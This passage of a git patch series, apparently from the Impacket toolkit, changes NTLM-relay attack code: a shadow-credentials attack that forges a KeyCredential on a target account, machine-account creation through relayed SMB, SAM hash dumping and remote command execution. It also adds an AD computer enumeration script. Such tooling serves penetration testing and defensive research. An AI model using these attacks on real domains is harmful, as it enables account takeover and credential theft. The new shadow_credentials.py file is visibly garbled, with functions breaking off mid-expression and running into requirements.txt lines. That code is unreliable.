self.shadowCredentialsAttack(domainDumper) From 337d50d04e191c2b323ccf4877500fc487126dd1 Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Thu, 22 Feb 2024 09:02:00 -0300 Subject: [PATCH 07/49] Update bug introduced in #1690. Continue with attacks after addComputer is completed --- impacket/examples/ntlmrelayx/attacks/ldapattack.py | 1 - 1 file changed, 1 deletion(-) diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 74ceea74b1..5913edc16c 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -1117,7 +1117,6 @@ def run(self): ][0] LOG.debug("Computer container is {}".format(computerscontainer)) self.addComputer(computerscontainer, domainDumper) - return # Perform the Delegate attack if it is enabled and we relayed a computer account if self.config.delegateaccess and self.username[-1] == '$': From 985690e9d3d1012e18f1727701b44bbe953cb1c9 Mon Sep 17 00:00:00 2001 From: Alex Romero Date: Tue, 27 Feb 2024 14:49:36 +0330 Subject: [PATCH 08/49] remove redifination of hexdump() function in two files (#1682) --- examples/ntfs-read.py | 25 ++----------------------- impacket/ese.py | 24 ------------------------ 2 files changed, 2 insertions(+), 47 deletions(-) diff --git a/examples/ntfs-read.py b/examples/ntfs-read.py index 01bf5ee9ff..ca1d0fe752 100755 --- a/examples/ntfs-read.py +++ b/examples/ntfs-read.py @@ -43,29 +43,8 @@ from datetime import datetime from impacket.examples import logger from impacket import version -from impacket.structure import Structure - - -def pretty_print(x): - visible = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ' - return x if x in visible else '.' - -def hexdump(data): - x = str(data) - strLen = len(x) - i = 0 - while i < strLen: - print("%04x " % i, end=' ') - for j in range(16): - if i+j < strLen: - print("%02X" % ord(x[i+j]), end=' ') - else: - print(" ", end=' ') - if j%16 == 7: - print("", end=' ') - print(" ", end=' ') - print(''.join(pretty_print(x) for x in x[i:i+16] )) - i += 16 +from impacket.structure import Structure, hexdump + # Reserved/fixed MFTs FIXED_MFTS = 16 diff --git a/impacket/ese.py b/impacket/ese.py index 1f36483aeb..cc258ea152 100644 --- a/impacket/ese.py +++ b/impacket/ese.py @@ -430,30 +430,6 @@ def __init__(self,data): Structure.__init__(self,data) -#def pretty_print(x): -# if x in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ': -# return x -# else: -# return '.' -# -#def hexdump(data): -# x=str(data) -# strLen = len(x) -# i = 0 -# while i < strLen: -# print "%04x " % i, -# for j in range(16): -# if i+j < strLen: -# print "%02X" % ord(x[i+j]), -# -# else: -# print " ", -# if j%16 == 7: -# print "", -# print " ", -# print ''.join(pretty_print(x) for x in x[i:i+16] ) -# i += 16 - def getUnixTime(t): t -= 116444736000000000 t //= 10000000 From fa59178fe5631100d5ccaf5d71132310699e02cf Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Fri, 1 Mar 2024 07:58:59 -0300 Subject: [PATCH 09/49] Remove dsinternals dependency (#1704) --- .../examples/ntlmrelayx/attacks/ldapattack.py | 20 +- .../ntlmrelayx/utils/shadow_credentials.py | 254 ++++++++++++++++++ requirements.txt | 1 - setup.py | 2 +- 4 files changed, 263 insertions(+), 14 deletions(-) create mode 100644 impacket/examples/ntlmrelayx/utils/shadow_credentials.py diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 5913edc16c..7cfb780791 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -42,11 +42,7 @@ from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP from impacket.uuid import string_to_bin, bin_to_string from impacket.structure import Structure, hexdump - -from dsinternals.system.Guid import Guid -from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2 -from dsinternals.system.DateTime import DateTime -from dsinternals.common.data.hello.KeyCredential import KeyCredential +from impacket.examples.ntlmrelayx.utils import shadow_credentials # This is new from ldap3 v2.5 try: @@ -286,12 +282,12 @@ def shadowCredentialsAttack(self, domainDumper): LOG.info("Target user found: %s" % target_dn) LOG.info("Generating certificate") - certificate = X509Certificate2(subject=currentShadowCredentialsTarget, keySize=2048, notBefore=(-40 * 365), notAfter=(40 * 365)) + certificate,publicKey,key = shadow_credentials.createX509Certificate(subject=currentShadowCredentialsTarget, keySize=2048, notBefore=(-40 * 365), notAfter=(40 * 365)) LOG.info("Certificate generated") LOG.info("Generating KeyCredential") - keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=target_dn, currentTime=DateTime()) - LOG.info("KeyCredential generated with DeviceID: %s" % keyCredential.DeviceId.toFormatD()) - LOG.debug("KeyCredential: %s" % keyCredential.toDNWithBinary().toString()) + keyCredential = shadow_credentials.CreateKeyCredentialFromX509Certificate(publicKey, deviceId=shadow_credentials.getRandomGUID(), owner=target_dn, currentTime=shadow_credentials.getTimeTicks()) + #LOG.info("KeyCredential generated with DeviceID: %s" % keyCredential.DeviceId.toFormatD()) + #LOG.debug("KeyCredential: %s" % keyCredential.toDNWithBinary().toString()) self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink']) results = None for entry in self.client.response: @@ -302,7 +298,7 @@ def shadowCredentialsAttack(self, domainDumper): LOG.error('Could not query target user properties') return try: - new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [keyCredential.toDNWithBinary().toString()] + new_values = results['raw_attributes']['msDS-KeyCredentialLink'] + [shadow_credentials.toDNWithBinary2String( keyCredential, target_dn )] LOG.info("Updating the msDS-KeyCredentialLink attribute of %s" % currentShadowCredentialsTarget) self.client.modify(target_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]}) if self.client.result['result'] == 0: @@ -313,7 +309,7 @@ def shadowCredentialsAttack(self, domainDumper): else: path = self.config.ShadowCredentialsOutfilePath if self.config.ShadowCredentialsExportType == "PEM": - certificate.ExportPEM(path_to_files=path) + shadow_credentials.exportPEM(certificate,key,path_to_files=path) LOG.info("Saved PEM certificate at path: %s" % path + "_cert.pem") LOG.info("Saved PEM private key at path: %s" % path + "_priv.pem") LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools") @@ -325,7 +321,7 @@ def shadowCredentialsAttack(self, domainDumper): LOG.debug("No pass was provided. The certificate will be store with the password: %s" % password) else: password = self.config.ShadowCredentialsPFXPassword - certificate.ExportPFX(password=password, path_to_file=path) + shadow_credentials.exportPFX(certificate,key,password=password, path_to_file=path) LOG.info("Saved PFX (#PKCS12) certificate & key at path: %s" % path + ".pfx") LOG.info("Must be used with password: %s" % password) LOG.info("A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools") diff --git a/impacket/examples/ntlmrelayx/utils/shadow_credentials.py b/impacket/examples/ntlmrelayx/utils/shadow_credentials.py new file mode 100644 index 0000000000..09f429ba3f --- /dev/null +++ b/impacket/examples/ntlmrelayx/utils/shadow_credentials.py @@ -0,0 +1,254 @@ +import OpenSSL +from Cryptodome.PublicKey import RSA +import struct +from Cryptodome.Util.number import bytes_to_long, long_to_bytes +import hashlib +import base64 +import binascii +import random +import datetime +import time +import os + +def raw_public_key( modulus,exponent,keySize,prime1,prime2 ): + b_blobType = b'RSA1' + b_keySize = struct.pack('H", d) + data += binascii.unhexlify(hex(e)[2:].rjust(12, '0')) + return data + +def getTimeTicks(): + Value = datetime.datetime.now() + # diff 1601 - epoch + diff = datetime.datetime(1970, 1, 1, 0, 0, 0) - datetime.datetime(1601, 1, 1, 0, 0, 0) + # nanoseconds between 1601 and epoch + diff_ns = int(diff.total_seconds()) * 1000000000 + # nanoseconds between epoch and now + now_ns = time.time_ns() + # ticks between 1601 and now + ticks = (diff_ns + now_ns) // 100 + return ticks + + +def getBinaryTime( timestamp_ticks ): + return struct.pack('=2.5,!=2.5.2,!=2.5.0,!=2.6 ldapdomaindump>=0.9.0 flask>=1.0 pyreadline;sys_platform == 'win32' -dsinternals diff --git a/setup.py b/setup.py index f9484a04cb..fe3fd98e65 100644 --- a/setup.py +++ b/setup.py @@ -68,7 +68,7 @@ def read(fname): scripts=glob.glob(os.path.join('examples', '*.py')), data_files=data_files, install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=21.0.0', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', - 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'setuptools', 'charset_normalizer', 'dsinternals'], + 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'setuptools', 'charset_normalizer'], extras_require={'pyreadline:sys_platform=="win32"': [], }, classifiers=[ From 522daa295902d1e5a54313d95c2dea9ea30c8038 Mon Sep 17 00:00:00 2001 From: BlackWasp <35003340+BlWasp@users.noreply.github.com> Date: Mon, 4 Mar 2024 12:13:10 +0100 Subject: [PATCH 10/49] Adds the creation of a new machine account through SMB via ntlmrelayx (#1290) * Adds the ability to create a new machine account through SMB via ntlmrelayx. * Update smbattack.py Delete the '.' at the end of the password printing to limit user confusion. And change a comment to match @jogatu explain. * Update computer name and password specification, and target * Update impacket/examples/ntlmrelayx/attacks/smbattack.py Co-authored-by: leandro <56035084+0xdeaddood@users.noreply.github.com> * Remove the connectSamr2(), move the exception handles to samr library, remove the re import * Common option to add computer via SMB or LDAP --------- Co-authored-by: BlWasp Co-authored-by: leandro <56035084+0xdeaddood@users.noreply.github.com> --- examples/addcomputer.py | 11 +- examples/ntlmrelayx.py | 12 +- impacket/dcerpc/v5/samr.py | 13 +- .../examples/ntlmrelayx/attacks/smbattack.py | 162 ++++++++++++------ impacket/examples/ntlmrelayx/utils/config.py | 3 + impacket/examples/secretsdump.py | 6 + 6 files changed, 144 insertions(+), 63 deletions(-) mode change 100755 => 100644 examples/ntlmrelayx.py diff --git a/examples/addcomputer.py b/examples/addcomputer.py index dcea935bd2..d046c2c1c5 100755 --- a/examples/addcomputer.py +++ b/examples/addcomputer.py @@ -479,16 +479,7 @@ def doSAMRAdd(self, rpctransport): else: raise - try: - createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,) - except samr.DCERPCSessionError as e: - if e.error_code == 0xc0000022: - raise Exception("User %s doesn't have right to create a machine account!" % self.__username) - elif e.error_code == 0xc00002e7: - raise Exception("User %s machine quota exceeded!" % self.__username) - else: - raise - + createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,) userHandle = createUser['UserHandle'] if self.__delete: diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py old mode 100755 new mode 100644 index e3efbbf818..c2b130b88d --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -181,6 +181,7 @@ def start_servers(options, threads): c.setExeFile(options.e) c.setCommand(options.c) c.setEnumLocalAdmins(options.enum_local_admins) + c.setAddComputerSMB(options.add_computer) c.setDisableMulti(options.no_multirelay) c.setEncoding(codec) c.setMode(mode) @@ -326,7 +327,7 @@ def stop_servers(threads): smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. ' 'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)') - + #RPC arguments rpcoptions = parser.add_argument_group("RPC client options") rpcoptions.add_argument('-rpc-mode', choices=["TSCH"], default="TSCH", help='Protocol to attack, only TSCH supported') @@ -359,7 +360,6 @@ def stop_servers(threads): ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks') ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks') ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one') - ldapoptions.add_argument('--add-computer', action='store', metavar=('COMPUTERNAME', 'PASSWORD'), required=False, nargs='*', help='Attempt to add a new computer account') ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account') ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name') ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user') @@ -367,6 +367,11 @@ def stop_servers(threads): ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info') ldapoptions.add_argument('--add-dns-record', nargs=2, action='store', metavar=('NAME', 'IPADDR'), required=False, help='Add the record to DNS via LDAP pointing to ') + #Common options for SMB and LDAP + commonoptions = parser.add_argument_group("Common options for SMB and LDAP") + commonoptions.add_argument('--add-computer', action='store', metavar=('COMPUTERNAME', 'PASSWORD'), required=False, nargs='*', help='Attempt to add a new computer account via SMB or LDAP, depending on the specified target. ' + 'This argument can be used either with the LDAP or the SMB service, as long as the target is a domain controller.') + #IMAP options imapoptions = parser.add_argument_group("IMAP client options") imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. ' @@ -440,6 +445,9 @@ def stop_servers(threads): else: if options.tf is not None: #Targetfile specified + if (options.add_computer): + logging.info("To add a machine account through SMB only the Domain Controller must be specified as target") + sys.exit(1) logging.info("Running in relay mode to hosts in targetfile") targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS, randomize=options.random) mode = 'RELAY' diff --git a/impacket/dcerpc/v5/samr.py b/impacket/dcerpc/v5/samr.py index 4766bc97bd..e28c30865f 100644 --- a/impacket/dcerpc/v5/samr.py +++ b/impacket/dcerpc/v5/samr.py @@ -2576,7 +2576,18 @@ def hSamrCreateUser2InDomain(dce, domainHandle, name, accountType=USER_NORMAL_AC request['Name'] = name request['AccountType'] = accountType request['DesiredAccess'] = desiredAccess - return dce.request(request) + try: + return dce.request(request) + except DCERPCSessionError as e: + if e.error_code == 0xc0000022: + raise Exception("Relayed user doesn't have right to create a machine account!") + elif e.error_code == 0xc00002e7: + raise Exception("Relayed user machine quota exceeded!") + elif e.error_code == 0xc0000062: + raise Exception("Account name not accepted, maybe the '$' at the end is missing ?") + else: + raise e + def hSamrCreateUserInDomain(dce, domainHandle, name, desiredAccess=GROUP_ALL_ACCESS): request = SamrCreateUserInDomain() diff --git a/impacket/examples/ntlmrelayx/attacks/smbattack.py b/impacket/examples/ntlmrelayx/attacks/smbattack.py index fbc290baf0..52679fe402 100644 --- a/impacket/examples/ntlmrelayx/attacks/smbattack.py +++ b/impacket/examples/ntlmrelayx/attacks/smbattack.py @@ -22,6 +22,9 @@ from impacket.smbconnection import SMBConnection from impacket.examples.smbclient import MiniImpacketShell from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5 import samr +import random +import string PROTOCOL_ATTACK_CLASS = "SMBAttack" @@ -65,55 +68,114 @@ def run(self): LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: - from impacket.examples.secretsdump import RemoteOperations, SAMHashes - from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins - samHashes = None - try: - # We have to add some flags just in case the original client did not - # Why? needed for avoiding INVALID_PARAMETER - if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: - flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() - flags2 |= smb.SMB.FLAGS2_LONG_NAMES - self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) - remoteOps = RemoteOperations(self.__SMBConnection, False) - remoteOps.enableRegistry() - except Exception as e: - if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges - if self.config.enumLocalAdmins: - LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) - enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) - try: - localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() - LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) - for name in localAdminNames: - LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name)) - except DCERPCException: - LOG.info("SAMR access denied") - return - # Something else went wrong. aborting - LOG.error(str(e)) - return + if (self.config.addComputerSMB is not None): + from impacket.examples.secretsdump import RemoteOperations + try: + # We have to add some flags just in case the original client did not + # Why? needed for avoiding INVALID_PARAMETER + if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: + flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() + flags2 |= smb.SMB.FLAGS2_LONG_NAMES + self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) - try: - if self.config.command is not None: - remoteOps._RemoteOperations__executeRemote(self.config.command) - LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) - self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) - self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') - print(self.__answerTMP.decode(self.config.encoding, 'replace')) - else: - bootKey = remoteOps.getBootKey() - remoteOps._RemoteOperations__serviceDeleted = True - samFileName = remoteOps.saveSAM() - samHashes = SAMHashes(samFileName, bootKey, isRemote = True) - samHashes.dump() - samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') - LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) - except Exception as e: - LOG.error(str(e)) - finally: - if samHashes is not None: - samHashes.finish() - if remoteOps is not None: - remoteOps.finish() + remoteOps = RemoteOperations(self.__SMBConnection, False) + remoteOps.connectSamr(remoteOps.getMachineNameAndDomain()[1]) + except Exception as e: + if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges + LOG.info("SAMR access denied") + LOG.error(str(e)) + return + + LOG.info("Machine account addition via SMB") + try: + LOG.info("Target domain SID: " + remoteOps.getDomainSid()) + + if not self.config.addComputerSMB: + computerName = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper() + else: + computerName = self.config.addComputerSMB[0] + + createUser = samr.hSamrCreateUser2InDomain(remoteOps.getSamr(), remoteOps.getDomainHandle(), computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE) + + # Account password setup. In the NTLM relay situation it is not possible to use 'hSamrSetPasswordInternal4New()' because an error for "STATUS_WRONG_PASSWORD" is raised + # For the moment, I'm not sure why this error is raised even with the "USER_FORCE_PASSWORD_CHANGE" access mask during a relay. Probably an encryption issue + # However, with 'hSamrChangePasswordUser()' it seems to work by specifying the "old HashNT" which is the default "blank" password hash + if (not self.config.addComputerSMB or len(self.config.addComputerSMB) < 2): + newPassword = ''.join(random.choice(string.ascii_letters + string.digits + '.,;:!$-_+/*(){}#@<>^') for _ in range(15)) + else: + newPassword = self.config.addComputerSMB[1] + try: + userHandle = createUser['UserHandle'] + samr.hSamrChangePasswordUser(remoteOps.getSamr(), userHandle, oldPassword='', newPassword=newPassword, oldPwdHashNT="31d6cfe0d16ae931b73c59d7e0c089c0", + newPwdHashLM='', newPwdHashNT='') + except Exception as e: + LOG.error("Error with password setup:\n" + str(e)) + + # Still from addComputer.py + checkForUser = samr.hSamrLookupNamesInDomain(remoteOps.getSamr(), remoteOps.getDomainHandle(), [computerName]) + userRID = checkForUser['RelativeIds']['Element'][0] + openUser = samr.hSamrOpenUser(remoteOps.getSamr(), remoteOps.getDomainHandle(), samr.MAXIMUM_ALLOWED, userRID) + userHandle = openUser['UserHandle'] + req = samr.SAMPR_USER_INFO_BUFFER() + req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation + req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT + samr.hSamrSetInformationUser2(remoteOps.getSamr(), userHandle, req) + LOG.info("Successfully added machine account %s with password %s" % (computerName, newPassword)) + except Exception as e: + LOG.error(str(e)) + + else: + from impacket.examples.secretsdump import RemoteOperations, SAMHashes + from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins + samHashes = None + try: + # We have to add some flags just in case the original client did not + # Why? needed for avoiding INVALID_PARAMETER + if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: + flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() + flags2 |= smb.SMB.FLAGS2_LONG_NAMES + self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) + + remoteOps = RemoteOperations(self.__SMBConnection, False) + remoteOps.enableRegistry() + except Exception as e: + if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges + if self.config.enumLocalAdmins: + LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) + enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) + try: + localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() + LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) + for name in localAdminNames: + LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name)) + except DCERPCException: + LOG.info("SAMR access denied") + return + # Something else went wrong. aborting + LOG.error(str(e)) + return + + try: + if self.config.command is not None: + remoteOps._RemoteOperations__executeRemote(self.config.command) + LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) + self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) + self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') + print(self.__answerTMP.decode(self.config.encoding, 'replace')) + else: + bootKey = remoteOps.getBootKey() + remoteOps._RemoteOperations__serviceDeleted = True + samFileName = remoteOps.saveSAM() + samHashes = SAMHashes(samFileName, bootKey, isRemote = True) + samHashes.dump() + samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') + LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) + except Exception as e: + LOG.error(str(e)) + finally: + if samHashes is not None: + samHashes.finish() + if remoteOps is not None: + remoteOps.finish() + diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 225cdcdc9c..c66c4a9572 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -134,6 +134,9 @@ def setCommand(self, command): def setEnumLocalAdmins(self, enumLocalAdmins): self.enumLocalAdmins = enumLocalAdmins + def setAddComputerSMB(self, addComputerSMB): + self.addComputerSMB = addComputerSMB + def setDisableMulti(self, disableMulti): self.disableMulti = disableMulti diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index ceb34be89b..3c885d1d2d 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -523,6 +523,9 @@ def __connectDrds(self): LOG.error("Couldn't get DC info for domain %s" % self.__domainName) raise Exception('Fatal, aborting') + def getSamr(self): + return self.__samr + def getDrsr(self): return self.__drsr @@ -698,6 +701,9 @@ def getDomainSid(self): return self.__domainSid + def getDomainHandle(self): + return self.__domainHandle + def getMachineKerberosSalt(self): """ Returns Kerberos salt for the current connection if From 78e0149477d85bb4fad62889b161805e0f96e523 Mon Sep 17 00:00:00 2001 From: F-Masood <65596260+F-Masood@users.noreply.github.com> Date: Tue, 5 Mar 2024 10:14:45 +1300 Subject: [PATCH 11/49] GetADComputers.py and readLAPS.py (#1673) * Add files via upload This code is inspired from impacket's original GetADUsers.py. Similar to ADUsers, this will query the DC (via ldap) and retrive the list of all the computer objects and their operating system details. * Update GetAdComputers.py * Update GetAdComputers.py * Update and rename GetAdComputers.py to GetADComputers.py * Update GetADComputers.py year changed from 2023 to 2024 and updated/removed some comments * Updated GetADComputers.py Added new flag -dns2IP, if this flag is specified, it will resolve all the IP address by making a query to the specified DC via tcp port53... it will not use the nameservers in /etc/resolv.conf * Update GetADComputers.py Updated description * Create readLAPS.py This script will try to read the LAPS password in the current domain of specified user. Attributes searched in DC are: ms-Mcs-AdmPwd (password value) and ms-Mcs-AdmPwdExpirationTime (password expiry time). --- examples/GetADComputers.py | 311 +++++++++++++++++++++++++++++++++++++ examples/readLAPS.py | 275 ++++++++++++++++++++++++++++++++ 2 files changed, 586 insertions(+) create mode 100644 examples/GetADComputers.py create mode 100644 examples/readLAPS.py diff --git a/examples/GetADComputers.py b/examples/GetADComputers.py new file mode 100644 index 0000000000..56de86a7dc --- /dev/null +++ b/examples/GetADComputers.py @@ -0,0 +1,311 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright (C) 2024 Fortra. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This script is inspired from Alberto Solino's -> imacket-GetAdUsers. +# This script will make a LDAP query to DC and gather information about all the COMPUTERS present in DC. +# Also, has the capablity of resolving the IP addresses of the idenitifed hosts by making a DNS query of A record to the DC. +# +# Inspired from author: +# Alberto Solino (@agsolino) +# +# Author: +# Fowz Masood (https://www.linkedin.com/in/f-masood/) +# Please let me know of any improvements / suggestions or bugs. +# +# +# Reference for: +# LDAP +# + +from __future__ import division +from __future__ import print_function +from __future__ import unicode_literals +import argparse +import logging +import sys +import dns.resolver +from datetime import datetime + +from impacket import version +from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.ldap import ldap, ldapasn1 +from impacket.smbconnection import SMBConnection, SessionError + + +class GetADComputers: + def __init__(self, username, password, domain, cmdLineOptions): + self.options = cmdLineOptions + self.__username = username + self.__password = password + self.__domain = domain + self.__target = None + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = cmdLineOptions.aesKey + self.__doKerberos = cmdLineOptions.k + #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost + self.__kdcIP = cmdLineOptions.dc_ip + self.__kdcHost = cmdLineOptions.dc_host + self.__requestUser = cmdLineOptions.user + self.__resolveIP = cmdLineOptions.resolveIP + if cmdLineOptions.hashes is not None: + self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') + + # Create the baseDN + domainParts = self.__domain.split('.') + self.baseDN = '' + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + # Let's calculate the header and format + if self.__resolveIP : #resolveIP flag is used, we will try to resolve the IP address + self.__header = ["SAM AcctName", "DNS Hostname", "OS Version", "OS", "IPAddress"] + # Since we won't process all rows at once, this will be fixed lengths + self.__colLen = [15, 35, 15, 35, 20] + self.__outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(self.__colLen)]) + + else: + self.__header = ["SAM AcctName", "DNS Hostname", "OS Version", "OS"] + # Since we won't process all rows at once, this will be fixed lengths + self.__colLen = [15, 35, 15, 20] + self.__outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(self.__colLen)]) + + + + def getMachineName(self, target): + try: + s = SMBConnection(target, target) + s.login('', '') + except OSError as e: + if str(e).find('timed out') > 0: + raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') + else: + raise + except SessionError as e: + if str(e).find('STATUS_NOT_SUPPORTED') > 0: + raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') + else: + raise + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % target) + else: + s.logoff() + return s.getServerName() + + @staticmethod + def getUnixTime(t): + t -= 116444736000000000 + t /= 10000000 + return t + + def processRecord(self, item): + if isinstance(item, ldapasn1.SearchResultEntry) is not True: + return + sAMAccountName = '' + dNSHostName = '' + operatingSystem = '' + operatingSystemVersion = '' + try: + + if(self.__resolveIP): #will resolve the IP address + resolvedIPAddress='' + resolveIP = dns.resolver.Resolver() + dns.resolver.default_resolver = dns.resolver.Resolver(configure=False) #Dont want to use the default DNS in /etc/resolv.conf + dns.resolver.default_resolver.nameservers = [self.__kdcIP] #converting DCIP from STRING to LIST + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is True: + # sAMAccountName + sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8') + if str(attribute['type']) == 'dNSHostName': + if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False: + # dNSHostName + IP resolve + dNSHostName = attribute['vals'][0].asOctets().decode('utf-8') + try: + answers=dns.resolver.resolve(attribute['vals'][0].asOctets().decode('utf-8'),'A',tcp=True) + for rdata in answers: + resolvedIPAddress = rdata.address + except: + resolvedIPAddress = '' + if str(attribute['type']) == 'operatingSystem': + if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False: + # operatingSystem + operatingSystem = attribute['vals'][0].asOctets().decode('utf-8') + if str(attribute['type']) == 'operatingSystemVersion': + if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False: + # 